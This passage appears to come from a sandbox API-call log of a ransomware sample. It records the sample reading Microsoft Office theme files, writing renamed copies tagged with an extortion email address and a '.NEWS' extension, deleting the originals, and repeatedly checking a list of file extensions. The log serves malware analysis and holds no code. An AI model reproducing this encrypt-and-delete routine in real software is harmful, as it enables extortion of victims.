lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0245.402] WriteFile (in: hFile=0x324, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xe6, lpOverlapped=0x0) returned 1 [0245.403] SetEndOfFile (hFile=0x324) returned 1 [0245.403] CloseHandle (hObject=0x324) returned 1 [0245.403] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0245.404] SetEndOfFile (hFile=0x15c) returned 1 [0246.612] CloseHandle (hObject=0x15c) returned 1 [0246.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0246.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0246.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.614] lstrlenW (lpString=".doc") returned 4 [0246.614] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0246.614] lstrlenW (lpString=".docx") returned 5 [0246.614] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0246.615] lstrlenW (lpString=".pdf") returned 4 [0246.615] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0246.615] lstrlenW (lpString=".xls") returned 4 [0246.615] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0246.615] lstrlenW (lpString=".xlsx") returned 5 [0246.615] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0246.615] lstrlenW (lpString=".ppt") returned 4 [0246.615] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.616] lstrlenW (lpString=".zip") returned 4 [0246.616] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0246.616] lstrlenW (lpString=".rar") returned 4 [0246.616] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0246.616] lstrlenW (lpString=".bz2") returned 4 [0246.616] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0246.616] lstrlenW (lpString=".7z") returned 3 [0246.617] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0246.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.617] lstrlenW (lpString=".dbf") returned 4 [0246.617] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0246.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.617] lstrlenW (lpString=".1cd") returned 4 [0246.617] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0246.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.617] lstrlenW (lpString=".jpg") returned 4 [0246.618] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0246.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.618] lstrlenW (lpString=".doc") returned 4 [0246.618] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0246.618] lstrlenW (lpString=".docx") returned 5 [0246.619] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0246.619] lstrlenW (lpString=".pdf") returned 4 [0246.619] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0246.619] lstrlenW (lpString=".xls") returned 4 [0246.619] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0246.619] lstrlenW (lpString=".xlsx") returned 5 [0246.619] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0246.619] lstrlenW (lpString=".ppt") returned 4 [0246.619] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0246.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.619] lstrlenW (lpString=".zip") returned 4 [0246.620] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0246.620] lstrlenW (lpString=".rar") returned 4 [0246.620] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0246.620] lstrlenW (lpString=".bz2") returned 4 [0246.620] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0246.620] lstrlenW (lpString=".7z") returned 3 [0246.620] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0246.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.620] lstrlenW (lpString=".dbf") returned 4 [0246.620] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0246.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.621] lstrlenW (lpString=".1cd") returned 4 [0246.621] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0246.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0246.621] lstrlenW (lpString=".jpg") returned 4 [0246.621] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0246.621] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0246.621] lstrlenW (lpString="Hardcover.eftx") returned 14 [0246.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0246.626] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=350689) returned 1 [0246.626] CloseHandle (hObject=0x15c) returned 1 [0246.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0246.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0246.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0246.628] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0246.628] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0246.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0246.629] GetLastError () returned 0x0 [0246.630] ReadFile (in: hFile=0x15c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x559e1, lpOverlapped=0x0) returned 1 [0247.027] WriteFile (in: hFile=0x304, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0247.051] ReadFile (in: hFile=0x15c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0247.051] WriteFile (in: hFile=0x304, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xf0, lpOverlapped=0x0) returned 1 [0247.052] SetEndOfFile (hFile=0x304) returned 1 [0247.052] CloseHandle (hObject=0x304) returned 1 [0247.053] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0247.053] SetEndOfFile (hFile=0x15c) returned 1 [0248.444] CloseHandle (hObject=0x15c) returned 1 [0248.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0248.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.455] lstrlenW (lpString=".doc") returned 4 [0248.455] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.455] lstrlenW (lpString=".docx") returned 5 [0248.455] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.455] lstrlenW (lpString=".pdf") returned 4 [0248.455] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.455] lstrlenW (lpString=".xls") returned 4 [0248.455] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.455] lstrlenW (lpString=".xlsx") returned 5 [0248.455] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.455] lstrlenW (lpString=".ppt") returned 4 [0248.456] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.456] lstrlenW (lpString=".zip") returned 4 [0248.456] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.456] lstrlenW (lpString=".rar") returned 4 [0248.456] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.456] lstrlenW (lpString=".bz2") returned 4 [0248.456] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.456] lstrlenW (lpString=".7z") returned 3 [0248.456] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.456] lstrlenW (lpString=".dbf") returned 4 [0248.456] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.457] lstrlenW (lpString=".1cd") returned 4 [0248.457] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.457] lstrlenW (lpString=".jpg") returned 4 [0248.457] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.457] lstrlenW (lpString=".doc") returned 4 [0248.457] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.457] lstrlenW (lpString=".docx") returned 5 [0248.458] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.458] lstrlenW (lpString=".pdf") returned 4 [0248.458] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.458] lstrlenW (lpString=".xls") returned 4 [0248.458] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.458] lstrlenW (lpString=".xlsx") returned 5 [0248.458] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.458] lstrlenW (lpString=".ppt") returned 4 [0248.458] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.458] lstrlenW (lpString=".zip") returned 4 [0248.458] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.458] lstrlenW (lpString=".rar") returned 4 [0248.458] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.458] lstrlenW (lpString=".bz2") returned 4 [0248.459] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.459] lstrlenW (lpString=".7z") returned 3 [0248.459] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.459] lstrlenW (lpString=".dbf") returned 4 [0248.459] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.459] lstrlenW (lpString=".1cd") returned 4 [0248.459] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0248.459] lstrlenW (lpString=".jpg") returned 4 [0248.459] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.460] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0248.460] lstrlenW (lpString="Metro.eftx") returned 10 [0248.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.462] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=24117) returned 1 [0248.462] CloseHandle (hObject=0x3a0) returned 1 [0248.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0248.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0248.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.463] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0248.464] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0248.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.464] GetLastError () returned 0x0 [0248.464] ReadFile (in: hFile=0x3a0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x5e35, lpOverlapped=0x0) returned 1 [0248.535] WriteFile (in: hFile=0x384, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0248.538] ReadFile (in: hFile=0x3a0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0248.539] WriteFile (in: hFile=0x384, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xe8, lpOverlapped=0x0) returned 1 [0248.539] SetEndOfFile (hFile=0x384) returned 1 [0248.539] CloseHandle (hObject=0x384) returned 1 [0248.540] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0248.540] SetEndOfFile (hFile=0x3a0) returned 1 [0248.549] CloseHandle (hObject=0x3a0) returned 1 [0248.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.552] lstrlenW (lpString=".doc") returned 4 [0248.552] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.552] lstrlenW (lpString=".docx") returned 5 [0248.552] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.552] lstrlenW (lpString=".pdf") returned 4 [0248.552] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.552] lstrlenW (lpString=".xls") returned 4 [0248.552] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.552] lstrlenW (lpString=".xlsx") returned 5 [0248.552] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.552] lstrlenW (lpString=".ppt") returned 4 [0248.552] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.552] lstrlenW (lpString=".zip") returned 4 [0248.553] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.553] lstrlenW (lpString=".rar") returned 4 [0248.553] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.553] lstrlenW (lpString=".bz2") returned 4 [0248.553] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.553] lstrlenW (lpString=".7z") returned 3 [0248.553] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.553] lstrlenW (lpString=".dbf") returned 4 [0248.553] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.553] lstrlenW (lpString=".1cd") returned 4 [0248.553] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.554] lstrlenW (lpString=".jpg") returned 4 [0248.554] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.554] lstrlenW (lpString=".doc") returned 4 [0248.554] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.554] lstrlenW (lpString=".docx") returned 5 [0248.554] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.554] lstrlenW (lpString=".pdf") returned 4 [0248.554] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.554] lstrlenW (lpString=".xls") returned 4 [0248.555] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.555] lstrlenW (lpString=".xlsx") returned 5 [0248.555] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.555] lstrlenW (lpString=".ppt") returned 4 [0248.555] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.555] lstrlenW (lpString=".zip") returned 4 [0248.555] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.555] lstrlenW (lpString=".rar") returned 4 [0248.555] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.555] lstrlenW (lpString=".bz2") returned 4 [0248.555] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.556] lstrlenW (lpString=".7z") returned 3 [0248.556] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.556] lstrlenW (lpString=".dbf") returned 4 [0248.556] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.556] lstrlenW (lpString=".1cd") returned 4 [0248.556] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0248.556] lstrlenW (lpString=".jpg") returned 4 [0248.556] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.557] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0248.557] lstrlenW (lpString="Module.eftx") returned 11 [0248.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0248.603] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=43357) returned 1 [0248.603] CloseHandle (hObject=0x3d4) returned 1 [0248.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0248.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0248.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0248.857] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0248.857] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0248.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.858] GetLastError () returned 0x0 [0248.858] ReadFile (in: hFile=0x1f0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0xa95d, lpOverlapped=0x0) returned 1 [0248.888] WriteFile (in: hFile=0x3ac, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xa960, lpOverlapped=0x0) returned 1 [0248.894] ReadFile (in: hFile=0x1f0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0248.894] WriteFile (in: hFile=0x3ac, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xea, lpOverlapped=0x0) returned 1 [0248.894] SetEndOfFile (hFile=0x3ac) returned 1 [0248.895] CloseHandle (hObject=0x3ac) returned 1 [0248.895] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0248.895] SetEndOfFile (hFile=0x1f0) returned 1 [0248.905] CloseHandle (hObject=0x1f0) returned 1 [0248.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 